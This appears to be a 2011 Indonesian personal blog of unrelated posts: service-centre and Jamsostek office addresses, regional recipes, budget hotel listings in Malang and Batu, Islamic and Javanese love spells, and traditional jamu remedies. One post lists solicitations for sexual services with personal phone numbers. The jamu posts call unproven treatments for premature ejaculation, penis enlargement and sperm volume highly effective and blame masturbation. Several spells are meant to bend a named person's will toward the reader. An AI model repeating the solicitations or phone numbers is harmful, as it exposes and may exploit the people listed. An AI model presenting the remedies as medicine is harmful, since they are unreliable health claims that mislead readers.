Sabtu, 03 Desember 2011

Service Center Cross

Service Center Cross X Surabaya Service Center Cross X Surabaya Alamat : BG Junction Jl. Bubutan no. 1-7, Lt.2 unit C3-C9 IT CENTER, Surabaya Telp : 031-5476827 Service Center Cross X Malang Service Center Cross X Malang Alamat : Jl. MT Haryono 73, Ruko Donoyo Indah No.9, Malang Telp : 0341-9917755, 081803810351

Sabtu, 26 November 2011

PROGRAM JAMSOSTEK UNTUK USAHA PERSEORANGAN DAN PEKERJA MANDIRI

PROGRAM JAMSOSTEK UNTUK USAHA PERSEORANGAN DAN PEKERJA MANDIRI
PT.JAMSOSTEK(Persero) bermitra dengan Yayasan Peduli Jamsostek Mandiri, memberikan kesempatan kepada para pekerja mandiri / luar hubungan kerja untuk menjadi peserta Jamsostek secara sukarela dan mandiri, dalam artian para pekerja mandiri mendaftarkan sendiri kepesertaannya di Jamsostek melalui wadah kami yaitu YAYASAN PEDULI JAMSOSTEK MANDIRI serta membayar sendiri iuran kepesertaannya melalui wadah kami tersebut.
Kini siapapun Anda yang mempunyai kegiatan usaha mandiri , seperti : warung, toko, kios, wartel, warnet, bengkel, salon, ojek, supir angkot ataupun perusahaan perorangan dan lain sebagainya dapat ikut program jamsostek.
Hanya dengan menyisihkan Rp 6.000 / hari atau dengan Rp 175.000 / bulan Anda akan mendapatkan manfaat :
Jaminan Kecelakaan Kerja
Jaminan Kematian
Jaminan Hari Tua
Jaminan Pemeliharaan Kesehatan ( untuk keluarga dengan maksimum 3 orang anak)
Fasilitas rawat inap di Rumah Sakit Pemerintah kelas 2 dan di Rumah Sakit Swasta /TNI/POLRI kelas 3 , hanya dengan menunjukan Kartu Pemeliharaan Kesehatan (KPK) dan surat rujukan dari klinik PPK tingkat pertama.
Segera daftarkan diri Anda, dan sayangi buah hati Anda dengan memberikan fasilitas Pemeliharaan Kesehatan buat mereka.
Anda pun dapat membantu sesama dengan memberikan informasi ini kepada kerabat, saudara ataupun tetangga Anda yang belum memiliki Fasilitas Pemeliharan Kesehatan.


http://www.jamsostek-mandiri.com/

Kantor Cabang Wilayah VI Jamsostek

Kantor Cabang Karimunjawa
Jl. Karimun Jawa No.6
Surabaya
Tel. (031) 5031183, 5032701, 5033856
Fax. (031) 5017014
Status Kantor: Cabang Kelas I

Kantor Cabang Pasuruan
Jl. Dr. Wahidin Utara No. 7 C
Pasuruan 67126 Tromol Pos 5
Tel. (0343) 428165, 428188
Fax. (0343) 421527, 425011
Status Kantor: Cabang Kelas II

Kantor Cabang Malang
Jl. Dr. Sutomo No. 1
Malang 65111 PO Box 193
Tel. (0341) 354450, 367507
Fax. (0341) 367507
Status Kantor: Cabang kelas II

Kantor Cabang Sidoarjo
Jl. Pahlawan Pinang Indah Blok A2 No. 1-4
Sidoarjo 61251 PO Box 210
Tel. (031) 8945592 s/d 94
Fax. (031) 8945591
Status Kantor: Cabang Kelas I

Kantor Cabang Darmo
Jl. Diponegoro No. 6
Surabaya
Tel. (031) 5668979, 5687791
Fax. (031) 5675944
Status Kantor: Cabang Kelas II

Kantor Cabang Gresik
Jl. Dr. Wahidin Sudirohusodo No. 121 A
Gresik
Tel. (031) 3975277, 3972121, 3984344
Fax. (031) 3985572
Status Kantor: Cabang Kelas II

Kantor Cabang Jember
Jl. Gajah Mada No. 199
Jember
Tel. (0331) 486370, 487001
Fax. (0331) 485602
Status Kantor: Cabang Kelas III

Kantor Cabang Banyuwangi
Jl. Jaksa Agung Suprapto No. 49
Banyuwangi
Tel. (033) 3424754, 3410483, 3410848
Fax. (033) 3421677
Status Kantor: Cabang Kelas III

Kantor Cabang Madiun
Jl. A.Rahman Saleh No. 8
Madiun 63139
Tel. (0351) 492018, 462864
Fax. (0351) 452974
Status Kantor: Cabang Kelas III

Kantor Cabang Kediri
Jl. Urip Sumoharjo No. 199
Kediri 64122 PO Box 187
Tel. (0354) 7003786, 7003787, 7003788
Fax. (0354) 685188
Status Kantor: Cabang Kelas II

Kantor Cabang Mojokerto
Jl. Raya Jabon No.10
Mojokerto 61363 PO Box 145
Tel. (0321) 324679, 392237
Fax. (0321) 323327
Status Kantor: Cabang Kelas II

Kantor Cabang Bojonegoro
Jl. Diponegoro No.18
Bojonegoro
Tel. (0353) 881978, 881835
Fax. (0353) 885966
Status Kantor: Cabang Kelas III

Kantor Cabang Bangkalan
Jl. Hasyim Ashari No.13
Madura 69115
Tel. (031) 3093589, 3099184
Fax. (031) 3095632
Status Kantor: Cabang Kelas III

Kantor Cabang Blitar
J1. Slamet Riyadi No.9
Blitar 66131 PO Box 001
Tel. (0342) 806778, 800987
Fax. (0342) 801354
Status Kantor: Cabang Kelas III

Kantor Cabang Tanjung Perak
Jl. Perak Timur No.82
Surabaya
Tel. (031) 3523854, 3524460
Fax. (031) 3298686
Status Kantor: Cabang Kelas II

Kantor Cabang Rungkut
Jl. Raya Jemur Sari No.6
Surabaya
Tel. (031) 8438826
Fax. (031) 8472664
Status Kantor: Cabang Kelas II

Kantor Cabang Bali I
Jl. Hayam Wuruk No. 143
Denpasar 80233 PO Box 472
Tel. (0361) 233622, 223145, 221425
Fax. (0361) 223893
Status Kantor: Cabang kelas I

Kantor Cabang Bali II
Jl. Dharma Giri Bypass Buruan
Gianyar-Bali 80581
Tel. (0361) 945718, 945719
Fax. (0361) 945522
Status Kantor: Cabang Kelas III

Kantor Cabang NTB
Jl. Langko No.15
Mataram 83126 PO Box 1042
Tel. (0370) 640127, 634714
Fax. (0370) 634103
Status Kantor: Cabang Kelas II

Kantor Cabang NTT
Jl. Cak Doko No. 45
Kupang 85111 PO Box 1025
Tel. (0380) 833604
Fax. (0380) 831457
Status Kantor: Cabang Kelas III

Jumat, 26 Agustus 2011

surabaya

puput/putri 20 thn...item manis..sexy call...087854263733
call me (arni) 08125808562
untuk yang butuh kenikmatan... di sekitar surabaya ato madura... call me Mayla... mahasiswa aktif di kampus negeri di pamekasan... hub aku di sini :081913711409

Sabtu, 16 Juli 2011

bumbu sate

Tak asing lagi Sate bumbu kacang, menjadi sebuah masakan legendaris dan tak asing di lidah.

Bahan-bahan :

* 750 gr kacang digoreng, buang kulitnya, dihaluskan
* 500 ml santan sedang kentalnya
* 2 lembar daun salam
* 5 lembar daun jeruk
* 3 batang sereh
* 5 siung bawang putih dirajang dan digoreng
* 1 sdt garam
* 2 sdm gula merah disisir
* Kecap manis dan jeruk limo secukupnya.
* Daging ayam atau daging kambing untuk sate.
* Potong dadu sesuai selera, tusuk dengan tusuk sate, bakar.

Cara Membuat:

* Rebus santan hingga mendidih, masukkan sereh, daun jeruk, daun salam, bawang goreng, gula merah, garam dan kacang, masak sebentar.
* Angkat, siap untuk disajikan dengan sate ayam atau sate kambing.
* Bila ingin disajikan, sambal kacang beri kecap manis dan air jeruk limo sesuai selera.

KUAH BAKSO



bahan:
1. bakso sapi 10 butir
2. bawang putih
3. merica bubuk
4. gula pasir
5. jahe (sedikit saja)
6. air
7. penyedap rasa
cara pembuatan :
rebus air sambil masukan bawang putih yang telah dihaluskan,dan bakso sapi
setelah mendidih masukan gula,penyedap rasa, mrica bubuk dan jahe yang telah di memarkan secukupnya,
bakso kuah siap di hidangkan, agar menambah rasa tambahkan bawang goreng, kecap, dan cuka, sesuai selera sajjja

CILOK



Bahan2:
250 gram tepung tapioka
5 sdm muncung tepung terigu
2 siung bawang putih dihaluskan
seledri secukupnya (di iris halus)
150-200 ml air hangat
royco secukupnya


Bumbu:
3 sdm peanut butter/pindakaas
50 ml air panas
kecap manis secukupnya
cabe bubuk
air panas secukupnya

Cara membuat:
campurkan semua bahan2, diuleni hingga bisa dibentuk (bulat2). masukkan adonan yg sudah dibulat2 ke air yg sudah mendidih. Lalu masak hingga mengapung, angkat.
Campurkan juga semua bahan bumbu dengan air panas secukupnya, lalu masukkan cilok yg sudah matang dibumbu.


Ini makanan inget dulu lagi SD. Suka jajan dipinggir jalan. Paling hobby makananin makanan kaya gini.

rujak cingur

Bahan:
50 gr kangkung yang sudah dibersihkan
50 gr taoge
75 gr kecipir (belah dua memanjang)
75 gr ketimun
100 gr bengkuang
50 gr mangga muda
75 gr tempe goreng
100 gr tahu goreng
250 gr cingur (tulang rawan hidung sapi) kulit kikil sapi, rebus.

Bumbu Rujak Petis:
6-9 buah cabai rawit atau sesuai selera
2 sdm kacang tanah goreng
200 gr petis udang
1-3 sdt terasi bakar
1 buah pisang batu parut kasar
1 sdt asam
50 cc air matang

Cara Membuat:
1. Rebus kangkung, taoge dan kecipir hingga matang, angkat.
2. Potong-potong ketimun, bengkuang, mangga muda, tempe goreng, tau goreng dan cingur, sisihkan.
3. Buat bumbu rujak petis: haluskan cabai, terasi, kacang tanah goreng, dan petis sampai tercampur rata. Masukkan parutan pisang batu, asam dan air matang, haluskan lagi.
4. Cara menghidangkan: Campurkan bumbu rujak petis dengan sayuran rebus, buah-buahan, tempe goreng, tahu dan cingur. Aduk sampai rata. Hidangkan bersama nasi lontong ketupat.

RUJAK PETIS

Bahan :
* 50 gr kangkung yang sudah dibersihkan
* 50 gr taoge
* 75 gr kecipir (belah dua memanjang)
* 75 gr ketimun
* 100 gr bengkuang
* 50 gr mangga muda
* 75 gr tempe goreng
* 100 gr tahu goreng
* 250 gr cingur (tulang rawan hidung sapi) kulit kikil sapi, rebus.

Bumbu Rujak Petis :
* 6-9 buah cabai rawit atau sesuai selera
* 2 sdm kacang tanah goreng
* 200 gr petis udang
* 1-3 sdt terasi bakar
* 1 buah pisang batu parut kasar
* 1 sdt asam
* 50 cc air matang

Cara Membuat :
1. Rebus kangkung, taoge dan kecipir hingga matang, angkat.
2. Potong-potong ketimun, bengkuang, mangga muda, tempe goreng, tau goreng dan cingur, sisihkan.
3. Buat bumbu rujak petis: haluskan cabai, terasi, kacang tanah goreng, dan petis sampai tercampur rata. Masukkan parutan pisang batu, asam dan air matang, haluskan lagi.
4. Cara menghidangkan: Campurkan bumbu rujak petis dengan sayuran rebus, buah-buahan, tempe goreng, tahu dan cingur. Aduk sampai rata. Hidangkan bersama nasi lontong ketupat.

Catatan :
Campur bumbu rujak petis dengan sayuran, tahu, tempe dan buah-buahan.

Selasa, 21 Juni 2011

Mahabbah Untuk Memikat Seorang Wanita

Mahabbah Untuk Memikat Seorang Wanita

Apabila anda berniat menikahi seorang gadis tapi tidak ada keberanian untuk mengutarakannya, padahal anda sangat tertarik dan cinta kepadanya... Maka berdo'alah dengan do'a mahabbah ini, InsyaAllah ia akan tertarik dan cinta kepadamu. Adapun caranya adalah sebagai berikut :
Pertama lakukanlah puasa sunnah pada hari kamis, kemudian pada malam harinya (malam jum'at) sekitar jam 2 malam lakukanlah shalat sunat hajat 2 rakaat. Pada rakaat ke1 setelah membaca Alfatihah bacalah surat Qs.Al-Insyrah (Alam nasroh), sedangkan pada rakaat ke2 baca surat Qs. Al kautsar.

Setelah salam anda membaca surat Qs. AtTaubah ayat: 129 sebanyak 33x.

Setelah membaca ayat diatas, lalu anda berdo'a dengan kesungguhan hati munajat kepada Allah SWT dan inilah doanya:

Allahumma Yaa robbi anta hasby ala (pulanah...........) binti (pulanah..........) A'tip qolbahaa alayya wa sahhir lii qolbahaa wa dalilhaa lii wa habibibnii ilaihaa hatta ta'ti ilayya khodia'tan dalilatan min ghairi mahlatin wa ash'golhaa bimahabbatii innaka ala kulli sya'iin qodiir. baca 7x.

Harap diingat do'a ini tidak boleh disalahgunakan dan hanya untuk niat baik yaitu pernikahan.



http://www.zily.org/2010/01/mahabbah-untuk-memikat-seorang-wanita.html

Sabtu, 18 Juni 2011

Obat Mani Encer

Resep Jamu : Obat Mani Encer

(Resep JAMU Tradisional)
Province : -
Language : Indonesia
Impoten berarti alat vital tidak berfungsi, sedangkan mani encer adalah alat vital tetap berfungsi tetapi bila melakukan hubungan seksual beberapa detik saja mani sudah keluar. Hal ini sangat mencemaskan karena istri akan menaggung beban kekecewaan yang berkepanjangan. Keutuhan rumah tangga akan terancam.
Penyebab mani encer ataui yang disebut Ejaculation Praecox ini diantaranya adalah : banyak melakukan onanai dimasa remaja, kekeurangan zat tertentu dalam tubuh dan lain-lain.
Bahan :
Pinang (Areca catechu) ……….. 1 buah
Kemiri (Aleurites moluceana Will) ……….. 1 buah
Telur ayam kampung ……….. 3 butir
Madu murni ……….. 2 sendok makan
Cara Pembuatan :
Pinang dan kemiri dibakar hingga hangus, lalu ditumbuk menjadi satu.
Telur ayam diambil kuningnya, semua bahan dicampur menjadi satu ditambah dengan air panas hingga menjadi 1 gelas, lalu diaduk hingga rata.
Cara Penggunaan :
Diminum sore hari setiap 2 hari sekali.
Saran-saran :
Banyak makan makanan yang bervitamin
Sementara menahan diri tidak berhubungan sex selama 1 bulan
Jangan minum minuman keras.
Sumber : Ramuan Pusaka Prima Raga oleh : DS. Soewito M.

Obat Memperbesar Penis

Resep Jamu : Obat Memperbesar Penis

(Resep JAMU Tradisional)

* Resep berikut adalah cara untuk membuat agar penis menjadi kuat, kokoh dan keras.
Province : -
Language : Indonesia
Bagi kaum pria penis adalah alat vital utama dalam menyalurkan kebutuhan biologis. Penis yang lemas (kurang keras), loyo tidak dapat memberikan kenikmatan dalam melakukan hubungan sex terutama bagi lawan jenis. Oleh karena itu seyogiyanya rawatlah senjata satu-satunya tersebut agar tetap tegang, keras dan kokoh. Penis yang kurang kuat dapat disebabkan karena : kurang makanan yang bergizi, kerja berat, kelelahan, banyak melakukan onani, atau karena penyakit tertentu seperti diabetes mellitus, tekakan darah rendah/tinggi dan kurang darah.
Gejala :
Penis kurang tegang, kurang kuat.
Ketegangannya tidak tahan lama.
Bahan :
Air teh basi (sudah disimpan 1 malam) ………..…… secukupnya
Cara Pemakaian :
Gunakan untuk mengurut penis (dari arah pangkal penis) searah sampai keujung penis.
Bila cara ini dilakukan secara rutin setiap pagi, maka penis akan menjadi kuat dan besar.
Saran-saran :
Banyak makan makanan yang bergizi.
Banyak makan sayuran dan buah-buahan.
Kerja dan istirahat yang teratur.
Hilangkan pikiran kalut.
Jangan makan sayuran terong.
Jangan banyak minum air kelapa.
Jangan memakai celana dalam ketat.
Sumber : Ramuan Pusaka Prima Raga oleh : DS. Soewito M.

Memperbanyak Sperma atau Air Mani

Resep JAMU : Memperbanyak Sperma atau Air Mani

(Resep JAMU Tradisional)
Language : Indonesia

Bagi pria, air mani (sperma) haruslah dijaga jangan sampai kekeringan. Air mani yang kering dapat menimbulkan gangguan pada alat kelamin dan kemungkinan sulit mendapat keturunan. Kekurangan air mani dapat disebabkan antara lain oleh : kurang makanan bergizi, terlalu banyak melakukan hubungan sex, penyakit tertentu.

* Gejala :

Ketegangan penis berkurang.
Kurang kenikmatan dalam berhubungan sexual dan tidak tahan lama.
Gairah sex menurun

Resep JAMU dibawah ini sangat mujarab untuk memperbanyak air mani :

* Bahan :

Buah lontar (Borassus flabelifer) ………… 9 buah
Gula aren (Arenga piƱata) ………. Secukupnya.
Garam dapur ………… secukupnya.

* Cara Pembuatan :

Buah lontar diris-iris, lalau direbus dengan 3 gelas air.
Setelah mendidih, masukkan gula aren dan garam secukupnya, lalu diaduk-aduk sampai rata, diangkat lalu didinginkan.

* Cara penggunaan :

Diminum 3 kali sehari. Lakukan 3 hari sekali secara rutin.

* Saran-saran :

Banyak makan makanan bergizi terutama yang mengandung itamin B11, hati, sayuran, melinjo, petai cina, kemangi, kedelai dan papaya merah.
Jangan minum-minuman keras.
Olahraga, istirahat dan tidur teratur.

Sumber : Ramuan Pusaka Prima Raga oleh : DS. Soewito M.

ono2 ae

AJIAN PELET


Cara lelakunya :
1. Ayat Qursyi 1x
2. Al-Ikhlas 3x
INGAT! INI TANPA PUASA APAPUN!
Kedua surat tersebut dibaca sambil menahan nafas. Dan membacanya sebelum Anda keluar rumah. Niatkan hati Anda bila ingin bertemu dengan seseorang yang Anda taksir.
Setelah bertemu, jabat tangannya.... Dan ucapkan "HATIMU HATIKU, HATIKU HATIMU". Diucapkan didalam hati. Orang tersebut akan mengingat Anda.

Mawar Biru

Mawar Biru

Tumetesing waspaku
Ora tega rasaning atiku
Ninggalake…sliramu
Priya idhamanku

Tansah katon esemmu
Ngawe-awe rasaning atiku
Ngelingake…
Nalika bareng mlaku-mlaku

Ora nyana ora tega, yen ngene dadine
Aku kudu melu,
Ndherek’ake rama lan ibuku
Mulih nyang ndesaku

Wekasan mung welingku
Aku nitip kembang mawar biru
Openana minangka tandha katresnanku

Sabtu, 04 Juni 2011

mahabbah

Ingin menaruh cinta rasa cinta kepada seseorang adalah dengan melakukan
solat
sunat
dua
raakat
pada
tengah

malam jumaat. Setelah itu, membaca selawat sebanyak seratus kali dan kemudian membaca surah at-taubah : 128-129 sebanyak tiga ratus kali. Selesai saja membaca selawat dan surah tersebut, baca doa dibawah seperti yang berikut :

“Ya Allah, kasihkanlah kepadaku hati si_____binti / bin______ sehingga ia datang kepadaku dalam keadaan tunduk dan menurut tanpa tertunda- tunda dan sibukkanlah ia untuk mencintaiku, sesungguhnya Engkau
Maha Kuasa atas tiap-tiap sesuatu

Jumat, 03 Juni 2011

oke deh

Amalan Tolak Hujan


membaca 7x Surah Al-Lahab, dengan menahan nafas.

aneka ada-ada aja

aji semar mesem


ingsun amatak ajiku si semar mesem
semar mesem siro sun kongkon lebonono si jabang bayine.......
kekepen angen-angene gawenen welas asih marang aku
wewayanganku tansah cumanthel ing netrane tan biso ilang saking kersaning alloh

puasa biasa selama 3 hari

aneka ada-ada aja

aji jaran goyang


ajiku si jaran goyang cemethiku sodo lanang
tak sabetke gunung jugruk tak sabetke segoro asat
tak sabetke atine si jabang bayine........mati
tan urip yen dudu ingsun kang akaryo jampi

tanpa laku, cukup dibaca saja
keterangan:
kata-kata yang menyakitkan memang bisa menghancurkan gunung
dan mengeringkan laut bukan?tentu setelah itu kita akan mati-matian memperbaiki gunung dan lautan agar anak cucu kita bisa tetap menikmatinya bukan?

aneka ada-ada aja

Puter Giling Sukma


Syarat2

* Puasa 1 hari 1 malam, yang dimulai pada pukul 6 sore pada hari saptu dan buka pada pukul 6 sore pada hari minggu. Selama puasa tidak boleh tidur.

* Mantra dibaca 33x usai maghrib pada hari saptu dan minggu.

* Pada malam hari, pusatkan pikiran pada orang yang dituju.

* Mantranya :

"Ajiku pengasih puter giling sukma, tak jaluk guro kuasamu jabang bayine........................... elingo lan senengono lahir batin marang aku seneng(3x) kesemsem(3x) lahir batin marang...............(PEMOHON)
uber aku(3x), kersaning gusti".

* Catatan :

-> Baris kosong titik (............) pada jabang bayine diatas, disebutkan nama orang yang dituju.

-> Baris kosong titik (................) pada lahir batin marang .....(PEMOHON) disebutkan nama anda sendiri.

Minggu, 29 Mei 2011

Hotel kelas melati

http://www.wisatamalang.com/hotel/malang/category/3/hotel/hotel-melati.html?limit=20&start=40
Hotel Putri Bulan Batu
Melati Hotel yang ada dikawasan kota Batu
Selengkapnya | Kirim Reservasi
mulai Rp. 170 000 per malam

Hotel Santoso Batu
Hotel Santoso Batu
Melati Hotel yang ada dikawasan kota Batu
Selengkapnya | Kirim Reservasi
mulai Rp. 60 000 per malam

Hotel Songgoriti Batu
Hotel Songgoriti Batu
Melati Hotel yang ada dikawasan kota Batu
Selengkapnya | Kirim Reservasi
mulai Rp. 150 000 per malam

Hotel Antariksa Malang
Hotel Antariksa Malang
Melati Hotel Antariksa adalah hotel yang ada di jalan Perusahaan no 53 Raya Tunjungtirto di kota Malang .
Selengkapnya | Kirim Reservasi
mulai Rp. 85 000 per malam

Hotel Menara Malang
Hotel Menara Malang
Melati Hotel yang ada dikawasan Malang.Hotel Menara Malang terletak di Jl. Pajajaran 5 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 80 000 per malam

Hotel Nugraha Malang
Hotel Nugraha Malang
Melati Hotel yang ada dikawasan kota Malang.Hotel Nugraha Malang terletak di Jl. Panji Suroso 16, Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 110 000 per malam

Hotel Pelangi 2 Malang
Hotel Pelangi 2 Malang
Melati Hotel yang berada dikasawan Malang
Selengkapnya | Kirim Reservasi
mulai Rp. 155 000 per malam

Hotel Riche Malang
Hotel Riche Malang
Melati Hotel yang berada dikawasan kota Malang.Hotel Riche Malang terletak di Jl. Basuki Rahmat 1 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 110 000 per malam

Hotel Santosa Malang
Hotel Santosa Malang
Melati Hotel yang berada dikawasan kota Malang.Hotel Santosa Malang terletak di Jl. K.H Agus Salim 24 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 127 000 per malam
Hotel Malinda Malang
Hotel Malinda Malang
Melati Hotel yang ada dikasawan Malang.Hotel Malinda Malang terletak di Jl. Zainal Arifin 30-32 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 72 000 per malam

Hotel Megah Mansion Malang
Hotel Megah Mansion Malang
Melati Hotel Megah Mansion, Hotel yang berada dikawasan Malang.Hotel Megah Mansion Malang terletak di Jl. Martadinata 9 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 60 000 per malam

Hotel Megawati Malang
Hotel Megawati Malang
Melati Hotel Megawati, Hotel yang berada di kota Malang.Hotel Megawati Malang terletak di Jl. Panglima Sudirman 99 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 100 000 per malam

Hotel Nugroho Malang
Hotel Nugroho Malang
Melati Hotel Nugroho, Hotel yang berada dikawasan Malang
Selengkapnya | Kirim Reservasi
mulai Rp. 110 000 per malam

Hotel Pajajaran Park Malang
Hotel Pajajaran Park Malang
Melati Hotel Pajajaran terletak di Main road ditengah kota, dekat dengan Airport Abd. Saleh, Depan Bank BRI, sebelah Rumah makan Gang Jangkrik, Kertasari, dekat University Widya Gama & Sekolah Favorit St Joseph (Wa In), Cor Jesu
Selengkapnya | Kirim Reservasi
mulai Rp. 150 000 per malam

Hotel Palem 1 Malang
Hotel Palem 1 Malang
Melati Hotel Palem 1, Hotel yang ada di Kota Malang.Hotel Palem 1 Malang terletak di Jl. Hasanuddin 40 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 110 000 per malam

Hotel Palem 2 Malang
Hotel Palem 2 Malang
Melati Hotel yang berada di Malang.Hotel Palem 2 Malang terletak di Jl. MH. Tamrin 15 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 85 000 per malam

Hotel Royal Inn Malang
Hotel Royal Inn Malang
Melati Hotel Royal Inn, Hotel yang berada di wilayah Malang.Hotel Royal Inn Malang terletak di Jl. Tenaga Baru 1/5 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 120 000 per malam

Setia Budi
Setia Budi
Melati Hotel yang ada di Malang
Selengkapnya | Kirim Reservasi
mulai Rp. 75 000 per malam

Hotel Tosari Malang
Hotel Tosari Malang
Melati Hotel yang berada di Kota Malang.Hotel Tosari Malang terletak di Jl. KH. Dahlan 31 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 60 000 per malam

Wilis Indah
Wilis Indah
Melati Hotel yang ada di kawasan Malang
Selengkapnya | Kirim Reservasi
mulai Rp. 170 000 per malam

Wisma Bhayangkara
Wisma Bhayangkara
Melati Wisma yang ada di Malang
Selengkapnya | Kirim Reservasi
mulai Rp. 90 000 per malam

Wisma Enny's Malang
Wisma Enny's Malang
Melati Wisma yang ada diwilayah Malang.Wisma Enny's Malang terletak di Jl. Willis 14 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 184 000 per malam

Hotel Arjuno Batu
Hotel Arjuno Batu
Melati Hotel Arjuno adalah hotel di jalan Raya Punten di Kota Batu .
Selengkapnya | Kirim Reservasi
mulai Rp. 75 000 per malam

Hotel Arumdalu Batu
Hotel Arumdalu Batu
Melati Hotel Arumdalu adalah hotel di jalan Arumdalu no 4 di Kota Batu .
Selengkapnya | Kirim Reservasi
mulai Rp. 35 000 per malam

Hotel Grand Palem Batu
Hotel Grand Palem Batu
Melati Hotel yang ada dikawasan Kota Batu
Selengkapnya | Kirim Reservasi
mulai Rp. 130 000 per malam

Hotel Mutiara Baru Batu
Hotel Mutiara Baru Batu
Melati Hotel yang ada dikawasan kota Batu.
Selengkapnya | Kirim Reservasi
mulai Rp. 150 000 per malam

Hotel Nirwana Batu
Hotel Nirwana Batu
Melati Hotel yang ada dikawasan kota Batu
Selengkapnya | Kirim Reservasi
mulai Rp. 450 000 per malam

Hotel Palem Sari Batu
Hotel Palem Sari Batu
Melati Hotel yang ada dikawasan kota Batu
Selengkapnya | Kirim Reservasi
mulai Rp. 125 000 per malam

Hotel Perdana Batu
Hotel Perdana Batu
Melati Hotel yang ada dikawasan kota Batu
Selengkapnya | Kirim Reservasi
mulai Rp. 110 000 per malam

hotel kelas melati

Hotel Mandala Puri Malang
Hotel Mandala Puri Malang
Bintang Hotel Mandala puri, hotel melati di Kota Malang, terletak di dekat lapangan olah raga Rampal, di seputar komplek militer, dilalui oleh bis antar kota Malang Blitar Tulungagung Trenggalek.
Selengkapnya | Kirim Reservasi
mulai Rp. 220 000 per malam

Hotel Mutiara Malang
Hotel Mutiara Malang
Melati Hotel Mutiara Malang, hotel bintang 1 di tengah kota, dekat dengan perkantoran, perbankan, sekolah unggulan. Mudah di tempuh dari bandara Malang, terminal Arjosari dan stasiun kereta api.
Selengkapnya | Kirim Reservasi
mulai Rp. 170 000 per malam

Hotel Trio Indah 1 Malang
Hotel Trio Indah 1 Malang
Melati Hotel Trio Indah I, hotel berbintang 2 di kota Malang, terletak di tengah kota Malang, dekat dengan perhotelan, perkantoran, rumah sakit, perbankan, restoran, angkutan umum mudah, lokasi srategis
Selengkapnya | Kirim Reservasi
mulai Rp. 300 000 per malam

Cafe Lava Bromo
Cafe Lava Bromo
Melati Cafe Lava Hotel, Hotel melati di kasawan Bromo, dekat pintu masuk wisata Bromo di Sukapura - Cemorolawang. Tarif murah, kamar bersih.
Selengkapnya | Kirim Reservasi
mulai Rp. 165 000 per malam

Hotel Asida Batu
Hotel Asida Batu
Bintang 1 Hotel Asida, hotel melati di kota Batu, dekat dengan kantor pemkot Batu, perhotelan, tempat wisata, jalur bis Malang Kediri, Jombang
Selengkapnya | Kirim Reservasi
mulai Rp. 300 000 per malam

Hotel Seulawah Batu
Hotel Seulawah Batu
Bintang Hotel Seulawah, hotel melati di kota Batu. Dekat dengan tempat wisata Songgoriti, villa dll.
Selengkapnya | Kirim Reservasi
mulai Rp. 230 000 per malam

Hotel Aster Batu
Hotel Aster Batu
Melati Hotel Aster adalah hotel yang ada dikawasan kota Batu tepatnya di jalan Trunojoyo no 7 Batu .
Selengkapnya | Kirim Reservasi
mulai Rp. 400 000 per malam

Pondok Jatim Park Batu
Pondok Jatim Park Batu
Bintang Pondok Jatim Park, penginapan / hotel melati di kota Batu, dekat dengan tempat wisata Jawa Timur Park, banyak kamar, bersih dan murah.
Selengkapnya | Kirim Reservasi
mulai Rp. 390 000 per malam

Hotel Surya Indah Batu
Hotel Surya Indah Batu
Bintang Hotel Surya Indah, hotel melati dengan banyak kamar, dekat tempat wisata BNS, Jatim Park, Taman Satwa, Batu Secret Zoo, perkebunan, air terjun Coban Rais dll.
Selengkapnya | Kirim Reservasi
mulai Rp. 350 000 per malam

Hotel Pitaloka Paleman Batu
Hotel Pitaloka Paleman Batu
Melati Hotel yang ada dikawasan kota Batu
Selengkapnya | Kirim Reservasi
mulai Rp. 280 000 per malam

Simpang Home Stay
Simpang Home Stay
Melati Hotel bintang di kawasan pusat kota Malang
Selengkapnya | Kirim Reservasi
mulai Rp. 100 000 per malam

Hotel Bromo View Probolinggo
Hotel Bromo View Probolinggo
Melati Hotel Bromo View, salah satu hotel terbaik di kota Probolinggo, berbintang 1, dekat dengan terminal bus antar kota, akses mudah, 1 jam ke Bromo, tempat seminar
Selengkapnya | Kirim Reservasi
mulai Rp. 88 000 per malam

Hotel Aloha Malang
Hotel Aloha Malang
Melati Hotel melati di Kota Malang, dekat dengan Rumah Makan (Warung) Museum Resto Inggil, Kantor Balai Kota Malang, Gedung DPRD Kota Malang, Aula Skodam V Brawijaya, Stasiun Kota Baru, Perhotelan, Pasar Bunga, Pasar Burung, Pasar Ikan, Perbankan, Sekolah
Selengkapnya | Kirim Reservasi
mulai Rp. 160 000 per malam

Hotel Arjosari Malang
Hotel Arjosari Malang
Melati Hotel Arjosari, hotel melati di kota Malang, dekat dengan terminal bis antar kota Arjosari, Perumahan Araya, perkantoran (Imigrasi, Departemen Agama, Kejaksaan) dll.
Selengkapnya | Kirim Reservasi
mulai Rp. 80 000 per malam

Hotel Bahagia Malang
Hotel Bahagia Malang
Melati Hotel Bahagia adalah Hotel melati yang berada di jalan Letjen S. Supratman di kota Malang .
Selengkapnya | Kirim Reservasi
mulai Rp. 55 000 per malam

Hotel Camelia Malang
Hotel Camelia Malang
Melati Hotel Camelia adalah hotel melati yang berada di jalan Dr. Cipto 24 di Malang .
Selengkapnya | Kirim Reservasi
mulai Rp. 75 000 per malam

Griyo Margusuko Malang
Griyo Margusuko Malang
Melati Griyo Margosuko adalah Hotel melati di jalan KH. Dahlan 40-42 di kawasan Malang .
Selengkapnya | Kirim Reservasi
mulai Rp. 100 000 per malam

Hotel Hellios Malang
Hotel Hellios Malang
Melati Hotel Hellios, Hotel melati yang berada di kawasan kota Malang
Selengkapnya | Kirim Reservasi
mulai Rp. 85 000 per malam

Hotel Ijen Heritage Malang
Hotel Ijen Heritage Malang
Melati Hotel Ijen, Hotel yang berada di kawasan Malang.Hotel Ijen Heritage Malang terletak di Jl. Ijen No 52 malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 275 000 per malam

Hotel Kalpataru Malang
Hotel Kalpataru Malang
Melati Hotel yang berada di kawasan kota Malang.Hotel Kalpataru Malang terletak di JL. Kalpataru No 41 Malang.
Selengkapnya | Kirim Reservasi
mulai Rp. 130 000 per malam

Hotel Penginapan Losmen Murah Di Malang

